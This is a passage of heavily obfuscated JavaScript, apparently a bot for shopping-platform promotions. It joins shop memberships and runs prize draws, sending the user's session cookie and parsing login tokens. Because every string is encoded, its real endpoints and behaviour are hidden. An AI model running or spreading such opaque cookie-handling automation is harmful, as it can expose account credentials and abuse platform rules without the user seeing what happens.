res,_0x26c3c4[_0x5a05('170')])&&res[_0x5a05('87')]){console[_0x5a05('7')](_0x5a05('19c')+(res[_0x5a05('87')]||''));}else{if(_0x26c3c4[_0x5a05('18f')](_0x26c3c4[_0x5a05('19d')],_0x26c3c4[_0x5a05('19d')])){if(_0xd5a93[_0x5a05('15a')]&&_0x46259f[_0x5a05('19e')](_0xd5a93[_0x5a05('15a')],0x1ed)){console[_0x5a05('7')](_0x46259f[_0x5a05('18e')]);$[_0x5a05('13')]=!![];}console[_0x5a05('7')](''+$[_0x5a05('f1')](_0xa253d));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('f2'));}else{console[_0x5a05('7')](_0x593ace);}}}else{if(_0x26c3c4[_0x5a05('18f')](_0x26c3c4[_0x5a05('19f')],_0x26c3c4[_0x5a05('1a0')])){console[_0x5a05('7')](_0x593ace);}else{console[_0x5a05('7')](_0x5a05('162')+(res[_0x5a05('87')]||''));}}}}}else{_0x438845[_0x5a05('1a1')](_0x53b0d6);}}catch(_0x32c0fd){$[_0x5a05('3f')](_0x32c0fd,_0xd5a93);}finally{_0x26c3c4[_0x5a05('175')](_0x53b0d6);}});});}function getshopactivityId(_0x32b04d){var _0x405111={'tgzkD':function(_0x1809a4,_0x1f6b5f){return _0x1809a4===_0x1f6b5f;},'nujwk':_0x5a05('1a2'),'DfpCu':function(_0x5b94fa,_0x2ddda8){return _0x5b94fa==_0x2ddda8;},'CRRMU':function(_0x3a55b6){return _0x3a55b6();},'yRUhH':function(_0x43efc6,_0x58696f){return _0x43efc6(_0x58696f);}};return new Promise(_0xaf36d0=>{var _0x14af9b={'NJAnA':function(_0x45048e,_0x5c9e2b){return _0x405111[_0x5a05('1a3')](_0x45048e,_0x5c9e2b);},'gbArc':_0x405111[_0x5a05('1a4')],'EdfDF':function(_0x556955,_0x570a63){return _0x405111[_0x5a05('1a5')](_0x556955,_0x570a63);},'NOpIy':function(_0x53d872){return _0x405111[_0x5a05('1a6')](_0x53d872);}};$[_0x5a05('1a7')](_0x405111[_0x5a05('1a8')](shopactivityId,''+_0x32b04d),async(_0x38cd11,_0x7efaa4,_0x22e50d)=>{if(_0x14af9b[_0x5a05('1a9')](_0x14af9b[_0x5a05('1aa')],_0x14af9b[_0x5a05('1aa')])){try{_0x22e50d=JSON[_0x5a05('136')](_0x22e50d);if(_0x14af9b[_0x5a05('1ab')](_0x22e50d[_0x5a05('138')],!![])){$[_0x5a05('139')]=_0x22e50d[_0x5a05('81')][_0x5a05('13a')]&&_0x22e50d[_0x5a05('81')][_0x5a05('13a')][0x0]&&_0x22e50d[_0x5a05('81')][_0x5a05('13a')][0x0][_0x5a05('13b')]&&_0x22e50d[_0x5a05('81')][_0x5a05('13a')][0x0][_0x5a05('13b')][_0x5a05('2d')]||'';}}catch(_0xf3805d){$[_0x5a05('3f')](_0xf3805d,_0x7efaa4);}finally{_0x14af9b[_0x5a05('1ac')](_0xaf36d0);}}else{$[_0x5a05('3f')](e,_0x7efaa4);}});});}function shopactivityId(_0x5e3088){var _0x26f52b={'UfMlq':_0x5a05('1ad'),'vxzhe':_0x5a05('1ae'),'TVCKc':_0x5a05('1af'),'WVYvq':_0x5a05('1b0'),'WwkLl':_0x5a05('1b1')};return{'url':_0x5a05('1b2')+_0x5e3088+_0x5a05('1b3'),'headers':{'Content-Type':_0x26f52b[_0x5a05('1b4')],'Origin':_0x26f52b[_0x5a05('1b5')],'Host':_0x26f52b[_0x5a05('1b6')],'accept':_0x26f52b[_0x5a05('1b7')],'User-Agent':$['UA'],'content-type':_0x26f52b[_0x5a05('1b8')],'Referer':_0x5a05('1b9')+_0x5e3088+_0x5a05('1ba')+_0x5e3088+_0x5a05('1bb')+$[_0x5a05('2d')]+_0x5a05('30')+$[_0x5a05('2b')],'Cookie':cookie}};}function join(_0x49be32){var _0x3c50bc={'dDzzs':function(_0x13525d,_0x27dfc1){return _0x13525d||_0x27dfc1;},'mBBHU':_0x5a05('48'),'QMabg':function(_0x34bcc1,_0x137122){return _0x34bcc1!==_0x137122;},'zGtHy':_0x5a05('1bc'),'cbRCA':_0x5a05('1bd'),'EokaM':function(_0x23e6db,_0x1304fe){return _0x23e6db==_0x1304fe;},'sZWKN':_0x5a05('44'),'JhgWM':function(_0x715614,_0x16ab91){return _0x715614===_0x16ab91;},'rUSRm':function(_0x5b7192,_0x5b44f7){return _0x5b7192===_0x5b44f7;},'tsyVc':_0x5a05('1be'),'JDFFJ':function(_0x1cbf31,_0x3568e5){return _0x1cbf31!==_0x3568e5;},'XduiY':_0x5a05('1bf'),'VAURb':function(_0x430f5e){return _0x430f5e();},'KnKBA':function(_0x5c844f,_0x2aabd2){return _0x5c844f(_0x2aabd2);},'uNgVQ':function(_0x15fab1,_0xdba8db){return _0x15fab1(_0xdba8db);}};return new Promise(async _0x5d39d2=>{var _0x52e417={'bdRZT':function(_0x2c13cf){return _0x3c50bc[_0x5a05('1c0')](_0x2c13cf);}};$[_0x5a05('139')]='';await $[_0x5a05('91')](0x3e8);await _0x3c50bc[_0x5a05('1c1')](getshopactivityId,_0x49be32);$[_0x5a05('1a7')](_0x3c50bc[_0x5a05('1c2')](ruhui,''+_0x49be32),async(_0x3ffeb6,_0x27b1aa,_0x42f99f)=>{var _0x4d28bc={'PPyra':function(_0x92523f,_0x34a477){return _0x3c50bc[_0x5a05('1c3')](_0x92523f,_0x34a477);},'isYMm':_0x3c50bc[_0x5a05('1c4')]};if(_0x3c50bc[_0x5a05('1c5')](_0x3c50bc[_0x5a05('1c6')],_0x3c50bc[_0x5a05('1c6')])){_0x52e417[_0x5a05('1c7')](_0x5d39d2);}else{try{if(_0x3c50bc[_0x5a05('1c5')](_0x3c50bc[_0x5a05('1c8')],_0x3c50bc[_0x5a05('1c8')])){let _0xbdbd0e='';if(res[_0x5a05('82')][_0x5a05('c3')]){_0xbdbd0e=res[_0x5a05('82')][_0x5a05('c3')]+'京豆';}console[_0x5a05('7')](_0x5a05('15f')+_0x4d28bc[_0x5a05('1c9')](_0xbdbd0e,_0x4d28bc[_0x5a05('1ca')]));}else{let _0x34a0dd=$[_0x5a05('7e')](_0x42f99f);if(_0x3c50bc[_0x5a05('1cb')](typeof _0x34a0dd,_0x3c50bc[_0x5a05('1cc')])){if(_0x3c50bc[_0x5a05('1cd')](_0x34a0dd[_0x5a05('138')],!![])){if(_0x3c50bc[_0x5a05('1ce')](_0x3c50bc[_0x5a05('1cf')],_0x3c50bc[_0x5a05('1cf')])){console[_0x5a05('7')](_0x34a0dd[_0x5a05('198')]);if(_0x34a0dd[_0x5a05('81')]&&_0x34a0dd[_0x5a05('81')][_0x5a05('1d0')]){for(let _0x3b7223 of _0x34a0dd[_0x5a05('81')][_0x5a05('1d0')][_0x5a05('1d1')]){console[_0x5a05('7')](_0x5a05('12f')+_0x3b7223[_0x5a05('130')]+_0x3b7223[_0x5a05('131')]+_0x3b7223[_0x5a05('132')]);}}}else{$[_0x5a05('3f')](e,_0x27b1aa);}}else if(_0x3c50bc[_0x5a05('1cb')](typeof _0x34a0dd,_0x3c50bc[_0x5a05('1cc')])&&_0x34a0dd[_0x5a05('198')]){if(_0x3c50bc[_0x5a05('1d2')](_0x3c50bc[_0x5a05('1d3')],_0x3c50bc[_0x5a05('1d3')])){console[_0x5a05('7')](_0x42f99f);}else{console[_0x5a05('7')](''+(_0x34a0dd[_0x5a05('198')]||''));}}else{console[_0x5a05('7')](_0x42f99f);}}else{console[_0x5a05('7')](_0x42f99f);}}}catch(_0x3051d2){$[_0x5a05('3f')](_0x3051d2,_0x27b1aa);}finally{_0x3c50bc[_0x5a05('1c0')](_0x5d39d2);}}});});}function ruhui(_0x3b57f7){var _0x3de7ea={'fWjJg':_0x5a05('1ad'),'BtFiE':_0x5a05('1ae'),'VdRSZ':_0x5a05('1af'),'dglsm':_0x5a05('1b0'),'bAswG':_0x5a05('1b1')};let _0x43b66a='';if($[_0x5a05('139')])_0x43b66a=_0x5a05('1d4')+$[_0x5a05('139')];return{'url':_0x5a05('1d5')+_0x3b57f7+_0x5a05('1d6')+_0x3b57f7+_0x5a05('1d7')+_0x43b66a+_0x5a05('1d8'),'headers':{'Content-Type':_0x3de7ea[_0x5a05('1d9')],'Origin':_0x3de7ea[_0x5a05('1da')],'Host':_0x3de7ea[_0x5a05('1db')],'accept':_0x3de7ea[_0x5a05('1dc')],'User-Agent':$['UA'],'content-type':_0x3de7ea[_0x5a05('1dd')],'Referer':_0x5a05('1b9')+_0x3b57f7+_0x5a05('1ba')+_0x3b57f7+_0x5a05('1bb')+$[_0x5a05('2d')]+_0x5a05('30')+$[_0x5a05('2b')],'Cookie':cookie}};}function startDraw(_0x46b41b){var _0xf9fa43={'yAmIm':function(_0x4d0eab,_0x2b0539){return _0x4d0eab!=_0x2b0539;},'arPoG':_0x5a05('44'),'DJQXY':function(_0x9b4dca,_0x3e49be){return _0x9b4dca>_0x3e49be;},'Pzyco':_0x5a05('42'),'vUviM':function(_0x181868,_0xec8114){return _0x181868+_0xec8114;},'OxUBl':_0x5a05('43'),'erWmy':function(_0x5a6811,_0x465679){return _0x5a6811+_0x465679;},'egKlm':_0x5a05('4c'),'baVMQ':function(_0xec40c7,_0x55fa25){return _0xec40c7!==_0x55fa25;},'jHlXo':_0x5a05('1de'),'pJyfU':_0x5a05('1df'),'vmzIp':function(_0x533d69,_0xb4c920){return _0x533d69===_0xb4c920;},'omBHP':_0x5a05('1e0'),'Omcpz':_0x5a05('1e1'),'WzrnE':function(_0x83a45,_0x5c443d){return _0x83a45!==_0x5c443d;},'OOFJQ':_0x5a05('1e2'),'yeTlp':function(_0x3c3069,_0x197a65){return _0x3c3069==_0x197a65;},'ByGEK':function(_0x2fdf89,_0x1d9f90){return _0x2fdf89!==_0x1d9f90;},'KhKNW':_0x5a05('1e3'),'TZuoA':function(_0x8bd343,_0x343124){return _0x8bd343===_0x343124;},'HGyoQ':_0x5a05('48'),'VhFab':function(_0xf0f528,_0x46ca85){return _0xf0f528!==_0x46ca85;},'urPAU':_0x5a05('1e4'),'gTPro':function(_0x44a7ec){return _0x44a7ec();},'vapUt':function(_0x48947a,_0x45eb45){return _0x48947a(_0x45eb45);},'dAQfq':function(_0x25b718,_0x45083e,_0x16dcaf){return _0x25b718(_0x45083e,_0x16dcaf);},'IQvKT':_0x5a05('1e5')};return new Promise(_0x119fbe=>{let _0x386f2f=_0x5a05('e4')+$[_0x5a05('2d')]+_0x5a05('e5')+$[_0x5a05('3b')]+_0x5a05('e6')+_0xf9fa43[_0x5a05('1e6')](encodeURIComponent,$[_0x5a05('62')])+_0x5a05('1e7')+_0x46b41b;$[_0x5a05('e9')](_0xf9fa43[_0x5a05('1e8')](taskPostUrl,_0xf9fa43[_0x5a05('1e9')],_0x386f2f),async(_0x139f1f,_0x53d302,_0x2d495e)=>{var _0x1955f5={'Gpzpi':function(_0x3655e0,_0x136893){return _0xf9fa43[_0x5a05('1ea')](_0x3655e0,_0x136893);},'RESVQ':_0xf9fa43[_0x5a05('1eb')],'dcWxk':function(_0x534efb,_0x51b87f){return _0xf9fa43[_0x5a05('1ec')](_0x534efb,_0x51b87f);},'FZANf':_0xf9fa43[_0x5a05('1ed')],'mXbbf':function(_0x526715,_0x5b5010){return _0xf9fa43[_0x5a05('1ee')](_0x526715,_0x5b5010);},'opusY':_0xf9fa43[_0x5a05('1ef')],'OEvIr':function(_0x29dd63,_0x2739a1){return _0xf9fa43[_0x5a05('1f0')](_0x29dd63,_0x2739a1);},'uWwTE':_0xf9fa43[_0x5a05('1f1')]};if(_0xf9fa43[_0x5a05('1f2')](_0xf9fa43[_0x5a05('1f3')],_0xf9fa43[_0x5a05('1f4')])){try{if(_0xf9fa43[_0x5a05('1f5')](_0xf9fa43[_0x5a05('1f6')],_0xf9fa43[_0x5a05('1f7')])){if(_0x1955f5[_0x5a05('1f8')](typeof setcookies,_0x1955f5[_0x5a05('1f9')])){setcookie=setcookies[_0x5a05('68')](',');}else setcookie=setcookies;for(let _0x9c12ed of setcookie){let _0x263dd3=_0x9c12ed[_0x5a05('68')](';')[0x0][_0x5a05('69')]();if(_0x263dd3[_0x5a05('68')]('=')[0x1]){if(_0x1955f5[_0x5a05('1fa')](_0x263dd3[_0x5a05('6b')](_0x1955f5[_0x5a05('1fb')]),-0x1))LZ_TOKEN_KEY=_0x1955f5[_0x5a05('1fc')](_0x263dd3[_0x5a05('6e')](/ /g,''),';');if(_0x1955f5[_0x5a05('1fa')](_0x263dd3[_0x5a05('6b')](_0x1955f5[_0x5a05('1fd')]),-0x1))LZ_TOKEN_VALUE=_0x1955f5[_0x5a05('1fe')](_0x263dd3[_0x5a05('6e')](/ /g,''),';');}}}else{if(_0x139f1f){if(_0xf9fa43[_0x5a05('1ff')](_0xf9fa43[_0x5a05('200')],_0xf9fa43[_0x5a05('200')])){console[_0x5a05('7')](_0x5a05('199')+(res[_0x5a05('198')]||''));}else{console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x139f1f));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('f2'));}}else{res=$[_0x5a05('7e')](_0x2d495e);if(_0xf9fa43[_0x5a05('201')](typeof res,_0xf9fa43[_0x5a05('1eb')])){if(_0xf9fa43[_0x5a05('202')](_0xf9fa43[_0x5a05('203')],_0xf9fa43[_0x5a05('203')])){console[_0x5a05('7')](_0x2d495e);}else{if(_0xf9fa43[_0x5a05('204')](res[_0x5a05('81')],!![])&&res[_0x5a05('82')]){console[_0x5a05('7')](_0x5a05('205')+(res[_0x5a05('82')][_0x5a05('206')]&&res[_0x5a05('82')][_0x5a05('21')]||_0xf9fa43[_0x5a05('207')]));}else if(_0xf9fa43[_0x5a05('201')](typeof res,_0xf9fa43[_0x5a05('1eb')])&&res[_0x5a05('87')]){console[_0x5a05('7')](_0x5a05('208')+(res[_0x5a05('87')]||''));}else{console[_0x5a05('7')](_0x2d495e);}}}else{console[_0x5a05('7')](_0x2d495e);}}}}catch(_0x1b23a1){$[_0x5a05('3f')](_0x1b23a1,_0x53d302);}finally{if(_0xf9fa43[_0x5a05('209')](_0xf9fa43[_0x5a05('20a')],_0xf9fa43[_0x5a05('20a')])){console[_0x5a05('7')](_0x1955f5[_0x5a05('20b')]);return;}else{_0xf9fa43[_0x5a05('20c')](_0x119fbe);}}}else{$[_0x5a05('3f')](e,_0x53d302);}});});}function checkOpenCard(){var _0x4f1ba6={'jcdeZ':_0x5a05('1ad'),'MmDSX':_0x5a05('1ae'),'LoqVM':_0x5a05('1af'),'kHFFQ':_0x5a05('1b0'),'Oxduu':_0x5a05('1b1'),'ygKbR':function(_0x5ce9cb,_0x51d980){return _0x5ce9cb(_0x51d980);},'MQrmr':function(_0x2646a,_0x31bcc0){return _0x2646a===_0x31bcc0;},'hIREr':_0x5a05('48'),'OoHwB':function(_0x499105,_0x208666){return _0x499105==_0x208666;},'HEEYR':_0x5a05('44'),'RdaBH':function(_0x34355e,_0x52a508){return _0x34355e!==_0x52a508;},'kaXUn':_0x5a05('20d'),'vRWIQ':function(_0x28a055,_0x472117){return _0x28a055!==_0x472117;},'Kopna':_0x5a05('20e'),'ORrDU':_0x5a05('20f'),'zcoqN':_0x5a05('210'),'hUfeD':_0x5a05('211'),'xACVf':_0x5a05('212'),'Dwpzm':function(_0x95fcf5,_0x3b3333,_0x40cacf){return _0x95fcf5(_0x3b3333,_0x40cacf);},'VaoVe':_0x5a05('213')};return new Promise(_0x2a5fe0=>{var _0x4f5f2f={'ddLpx':_0x4f1ba6[_0x5a05('214')],'uXLmK':_0x4f1ba6[_0x5a05('215')],'WafEE':_0x4f1ba6[_0x5a05('216')],'elqYr':_0x4f1ba6[_0x5a05('217')],'mynwf':_0x4f1ba6[_0x5a05('218')],'zQxGL':function(_0x39a3b3,_0x252e03){return _0x4f1ba6[_0x5a05('219')](_0x39a3b3,_0x252e03);},'GlNWR':function(_0x2e84be,_0x5bf849){return _0x4f1ba6[_0x5a05('21a')](_0x2e84be,_0x5bf849);},'ybkqG':_0x4f1ba6[_0x5a05('21b')],'ZnSLY':function(_0x5b5735,_0x4962d8){return _0x4f1ba6[_0x5a05('21c')](_0x5b5735,_0x4962d8);},'pkHHD':_0x4f1ba6[_0x5a05('21d')],'fMkie':function(_0x1810ff,_0x31e8c5){return _0x4f1ba6[_0x5a05('21e')](_0x1810ff,_0x31e8c5);},'LDqfV':_0x4f1ba6[_0x5a05('21f')],'xuCJW':function(_0x30d184,_0x27b204){return _0x4f1ba6[_0x5a05('220')](_0x30d184,_0x27b204);},'fZYzJ':_0x4f1ba6[_0x5a05('221')],'GzXVx':_0x4f1ba6[_0x5a05('222')],'BenoD':function(_0x53ae8e,_0x13c117){return _0x4f1ba6[_0x5a05('220')](_0x53ae8e,_0x13c117);},'EzdKg':_0x4f1ba6[_0x5a05('223')],'PKaTz':_0x4f1ba6[_0x5a05('224')],'ojgVo':_0x4f1ba6[_0x5a05('225')],'ZeRwy':function(_0x2733e1,_0x2f0749){return _0x4f1ba6[_0x5a05('219')](_0x2733e1,_0x2f0749);}};let _0x3b5c37=_0x5a05('e4')+$[_0x5a05('2d')]+_0x5a05('e6')+_0x4f1ba6[_0x5a05('219')](encodeURIComponent,$[_0x5a05('62')])+_0x5a05('e5')+$[_0x5a05('3b')]+_0x5a05('30')+$[_0x5a05('2b')];$[_0x5a05('e9')](_0x4f1ba6[_0x5a05('226')](taskPostUrl,_0x4f1ba6[_0x5a05('227')],_0x3b5c37),async(_0x2b36e8,_0xb3b27b,_0x363b5f)=>{var _0x126140={'fyptW':function(_0x530dee,_0x5dce16){return _0x4f5f2f[_0x5a05('228')](_0x530dee,_0x5dce16);},'LzTlT':function(_0x37e902,_0x1a0561){return _0x4f5f2f[_0x5a05('229')](_0x37e902,_0x1a0561);},'GURge':_0x4f5f2f[_0x5a05('22a')],'nfZWq':function(_0xf6be2d,_0x5ce2c0){return _0x4f5f2f[_0x5a05('22b')](_0xf6be2d,_0x5ce2c0);},'xeXdT':_0x4f5f2f[_0x5a05('22c')]};if(_0x4f5f2f[_0x5a05('22d')](_0x4f5f2f[_0x5a05('22e')],_0x4f5f2f[_0x5a05('22e')])){msg=res[_0x5a05('82')][_0x5a05('c3')]+'京豆';}else{try{if(_0x4f5f2f[_0x5a05('22f')](_0x4f5f2f[_0x5a05('230')],_0x4f5f2f[_0x5a05('230')])){let _0x202794='';if($[_0x5a05('139')])_0x202794=_0x5a05('1d4')+$[_0x5a05('139')];return{'url':_0x5a05('1d5')+functionId+_0x5a05('1d6')+functionId+_0x5a05('1d7')+_0x202794+_0x5a05('1d8'),'headers':{'Content-Type':_0x4f5f2f[_0x5a05('231')],'Origin':_0x4f5f2f[_0x5a05('232')],'Host':_0x4f5f2f[_0x5a05('233')],'accept':_0x4f5f2f[_0x5a05('234')],'User-Agent':$['UA'],'content-type':_0x4f5f2f[_0x5a05('235')],'Referer':_0x5a05('1b9')+functionId+_0x5a05('1ba')+functionId+_0x5a05('1bb')+$[_0x5a05('2d')]+_0x5a05('30')+$[_0x5a05('2b')],'Cookie':cookie}};}else{if(_0x2b36e8){if(_0x4f5f2f[_0x5a05('229')](_0x4f5f2f[_0x5a05('236')],_0x4f5f2f[_0x5a05('236')])){console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x2b36e8));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('f2'));}else{_0x126140[_0x5a05('237')](_0x2a5fe0,res&&res[_0x5a05('82')]||'');}}else{if(_0x4f5f2f[_0x5a05('238')](_0x4f5f2f[_0x5a05('239')],_0x4f5f2f[_0x5a05('239')])){$[_0x5a05('3f')](e,_0xb3b27b);}else{res=$[_0x5a05('7e')](_0x363b5f);if(_0x4f5f2f[_0x5a05('238')](typeof res,_0x4f5f2f[_0x5a05('22c')])){if(_0x4f5f2f[_0x5a05('238')](_0x4f5f2f[_0x5a05('23a')],_0x4f5f2f[_0x5a05('23b')])){console[_0x5a05('7')](_0x363b5f);}else{if(_0x126140[_0x5a05('23c')](res[_0x5a05('81')],!![])&&res[_0x5a05('82')]){console[_0x5a05('7')](_0x5a05('205')+(res[_0x5a05('82')][_0x5a05('206')]&&res[_0x5a05('82')][_0x5a05('21')]||_0x126140[_0x5a05('23d')]));}else if(_0x126140[_0x5a05('23e')](typeof res,_0x126140[_0x5a05('23f')])&&res[_0x5a05('87')]){console[_0x5a05('7')](_0x5a05('208')+(res[_0x5a05('87')]||''));}else{console[_0x5a05('7')](_0x363b5f);}}}}}}}catch(_0x2f1f2b){$[_0x5a05('3f')](_0x2f1f2b,_0xb3b27b);}finally{_0x4f5f2f[_0x5a05('240')](_0x2a5fe0,res&&res[_0x5a05('82')]||'');}}});});}function drawContent(){var _0xf0b26d={'GjaNG':function(_0x36e2a1){return _0x36e2a1();},'FiQHo':function(_0x385ed0,_0x4fe2e3){return _0x385ed0||_0x4fe2e3;},'pVzBx':_0x5a05('241'),'eQiPu':function(_0x4e3732,_0x651726){return _0x4e3732<_0x651726;},'gAQUV':function(_0x3297c9,_0x110bf9){return _0x3297c9*_0x110bf9;},'FoJdu':function(_0x1b6603,_0x5cfebe){return _0x1b6603===_0x5cfebe;},'sFnYn':_0x5a05('242'),'obSiR':_0x5a05('243'),'rlNvA':_0x5a05('244'),'wLgrf':function(_0x5935cc,_0x76d98c){return _0x5935cc!==_0x76d98c;},'LxEYA':_0x5a05('245'),'ozTVv':_0x5a05('246'),'Gsizi':function(_0x83a92,_0x596558){return _0x83a92(_0x596558);},'FfLxT':function(_0x4889b4,_0x1d8187,_0x4cda3a){return _0x4889b4(_0x1d8187,_0x4cda3a);},'RZiSp':_0x5a05('247')};return new Promise(_0x27022d=>{var _0xf0c121={'yNskI':function(_0x3ae8d0){return _0xf0b26d[_0x5a05('248')](_0x3ae8d0);},'YvpAf':function(_0x580e75,_0x4cadde){return _0xf0b26d[_0x5a05('249')](_0x580e75,_0x4cadde);},'PxvYb':_0xf0b26d[_0x5a05('24a')],'wOwWl':function(_0x466c9a,_0xdbbf4c){return _0xf0b26d[_0x5a05('24b')](_0x466c9a,_0xdbbf4c);},'zeiAz':function(_0x253441,_0xfce216){return _0xf0b26d[_0x5a05('24c')](_0x253441,_0xfce216);},'cSscR':function(_0x2c8e4d,_0x522454){return _0xf0b26d[_0x5a05('24d')](_0x2c8e4d,_0x522454);},'eqCgZ':_0xf0b26d[_0x5a05('24e')],'tZzlr':_0xf0b26d[_0x5a05('24f')],'XWHNn':_0xf0b26d[_0x5a05('250')]};if(_0xf0b26d[_0x5a05('251')](_0xf0b26d[_0x5a05('252')],_0xf0b26d[_0x5a05('253')])){let _0x478991=_0x5a05('e4')+$[_0x5a05('2d')]+_0x5a05('e6')+_0xf0b26d[_0x5a05('254')](encodeURIComponent,$[_0x5a05('62')]);$[_0x5a05('e9')](_0xf0b26d[_0x5a05('255')](taskPostUrl,_0xf0b26d[_0x5a05('256')],_0x478991),async(_0x12cac4,_0xa9cf2b,_0x555a5f)=>{try{if(_0xf0c121[_0x5a05('257')](_0xf0c121[_0x5a05('258')],_0xf0c121[_0x5a05('258')])){if(_0x12cac4){console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x12cac4));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('f2'));}else{}}else{_0xf0c121[_0x5a05('259')](_0x27022d);}}catch(_0x18ad5a){$[_0x5a05('3f')](_0x18ad5a,_0xa9cf2b);}finally{if(_0xf0c121[_0x5a05('257')](_0xf0c121[_0x5a05('25a')],_0xf0c121[_0x5a05('25b')])){e=_0xf0c121[_0x5a05('25c')](e,0x20);let _0x1f4ec3=_0xf0c121[_0x5a05('25d')],_0x16625c=_0x1f4ec3[_0x5a05('32')],_0x550db8='';for(i=0x0;_0xf0c121[_0x5a05('25e')](i,e);i++)_0x550db8+=_0x1f4ec3[_0x5a05('25f')](Math[_0x5a05('107')](_0xf0c121[_0x5a05('260')](Math[_0x5a05('9a')](),_0x16625c)));return _0x550db8;}else{_0xf0c121[_0x5a05('259')](_0x27022d);}}});}else{console[_0x5a05('7')](data);}});}function getActorUuid(){var _0x1b4c6f={'mdmaY':function(_0x52df3d,_0x51e0d3){return _0x52df3d===_0x51e0d3;},'aWNPr':_0x5a05('261'),'WmABh':_0x5a05('262'),'JcyhW':function(_0x1b3e88,_0x1f7403){return _0x1b3e88==_0x1f7403;},'BDxRm':_0x5a05('4b'),'Tshtv':_0x5a05('263'),'kIxDJ':_0x5a05('264'),'vMCRA':_0x5a05('44'),'uXWaa':function(_0x57fb7d,_0x18cf97){return _0x57fb7d===_0x18cf97;},'WaEbG':function(_0x4ae6e7,_0x5d353b){return _0x4ae6e7!=_0x5d353b;},'hlYMP':_0x5a05('45'),'ABtbT':function(_0x666c1,_0x27ca65){return _0x666c1==_0x27ca65;},'aTUsS':function(_0x2337a5,_0x44b7ec){return _0x2337a5===_0x44b7ec;},'aboVY':_0x5a05('265'),'yNQPD':_0x5a05('266'),'icyez':function(_0x35692b){return _0x35692b();},'RiyND':function(_0x4f5300,_0x5bb6c0){return _0x4f5300(_0x5bb6c0);},'MSMrT':function(_0x4a783c,_0x27db13){return _0x4a783c(_0x27db13);},'pQfwv':function(_0x38900d,_0x3f352c,_0x436aa6){return _0x38900d(_0x3f352c,_0x436aa6);},'YzcNV':_0x5a05('267')};return new Promise(_0x2c7365=>{let _0x3886a4=_0x5a05('e4')+$[_0x5a05('2d')]+_0x5a05('e6')+_0x1b4c6f[_0x5a05('268')](encodeURIComponent,$[_0x5a05('62')])+_0x5a05('269')+_0x1b4c6f[_0x5a05('26a')](encodeURIComponent,$[_0x5a05('85')])+_0x5a05('26b')+_0x1b4c6f[_0x5a05('26a')](encodeURIComponent,$[_0x5a05('75')])+_0x5a05('26c')+$[_0x5a05('2b')];$[_0x5a05('e9')](_0x1b4c6f[_0x5a05('26d')](taskPostUrl,_0x1b4c6f[_0x5a05('26e')],_0x3886a4),async(_0x4e80e6,_0x2ff1e8,_0x54a925)=>{try{if(_0x1b4c6f[_0x5a05('26f')](_0x1b4c6f[_0x5a05('270')],_0x1b4c6f[_0x5a05('271')])){$[_0x5a05('3f')](e,_0x2ff1e8);}else{if(_0x4e80e6){if(_0x2ff1e8[_0x5a05('15a')]&&_0x1b4c6f[_0x5a05('272')](_0x2ff1e8[_0x5a05('15a')],0x1ed)){console[_0x5a05('7')](_0x1b4c6f[_0x5a05('273')]);$[_0x5a05('13')]=!![];}console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x4e80e6));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('f2'));}else{if(_0x1b4c6f[_0x5a05('26f')](_0x1b4c6f[_0x5a05('274')],_0x1b4c6f[_0x5a05('275')])){console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x4e80e6));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('f2'));}else{res=$[_0x5a05('7e')](_0x54a925);if(_0x1b4c6f[_0x5a05('272')](typeof res,_0x1b4c6f[_0x5a05('276')])&&res[_0x5a05('81')]&&_0x1b4c6f[_0x5a05('277')](res[_0x5a05('81')],!![])){if(_0x1b4c6f[_0x5a05('278')](typeof res[_0x5a05('82')][_0x5a05('a9')][_0x5a05('13d')],_0x1b4c6f[_0x5a05('279')]))$[_0x5a05('a9')]=res[_0x5a05('82')][_0x5a05('a9')][_0x5a05('13d')];if(_0x1b4c6f[_0x5a05('278')](typeof res[_0x5a05('82')][_0x5a05('ad')][_0x5a05('13d')],_0x1b4c6f[_0x5a05('279')]))$[_0x5a05('ad')]=res[_0x5a05('82')][_0x5a05('ad')][_0x5a05('13d')];if(_0x1b4c6f[_0x5a05('278')](typeof res[_0x5a05('82')][_0x5a05('3b')],_0x1b4c6f[_0x5a05('279')]))$[_0x5a05('3b')]=res[_0x5a05('82')][_0x5a05('3b')];}else if(_0x1b4c6f[_0x5a05('27a')](typeof res,_0x1b4c6f[_0x5a05('276')])&&res[_0x5a05('87')]){console[_0x5a05('7')](_0x5a05('27b')+(res[_0x5a05('87')]||''));}else{if(_0x1b4c6f[_0x5a05('27c')](_0x1b4c6f[_0x5a05('27d')],_0x1b4c6f[_0x5a05('27e')])){setcookie=setcookies[_0x5a05('68')](',');}else{console[_0x5a05('7')](_0x54a925);}}}}}}catch(_0x4950cb){$[_0x5a05('3f')](_0x4950cb,_0x2ff1e8);}finally{_0x1b4c6f[_0x5a05('27f')](_0x2c7365);}});});}function getUserInfo(){var _0x20ef1e={'pWOVJ':function(_0x4a58b7,_0x297e17){return _0x4a58b7===_0x297e17;},'kRpXg':_0x5a05('280'),'pWsKp':function(_0x4e762c,_0x450e36){return _0x4e762c==_0x450e36;},'pGdqa':_0x5a05('44'),'BhyTB':function(_0x596465,_0x1b189d){return _0x596465!==_0x1b189d;},'UsugR':_0x5a05('281'),'DkvGW':function(_0x2b01b3,_0x4ded39){return _0x2b01b3!=_0x4ded39;},'qFtQW':_0x5a05('45'),'dwkbr':_0x5a05('46'),'MUZxg':function(_0x18f8b3,_0x12d2f5){return _0x18f8b3==_0x12d2f5;},'ngTCN':function(_0x341fbd){return _0x341fbd();},'kLSCO':_0x5a05('1ad'),'tmoCX':_0x5a05('1ae'),'ARnEl':_0x5a05('1af'),'JyTfZ':_0x5a05('1b0'),'OAReD':_0x5a05('1b1'),'piitY':function(_0x29dccc,_0x24a398){return _0x29dccc(_0x24a398);},'pOrIX':function(_0x4a02d3,_0x7c5cd4,_0x58bae0){return _0x4a02d3(_0x7c5cd4,_0x58bae0);},'sXdJO':_0x5a05('282')};return new Promise(_0x3af3f4=>{var 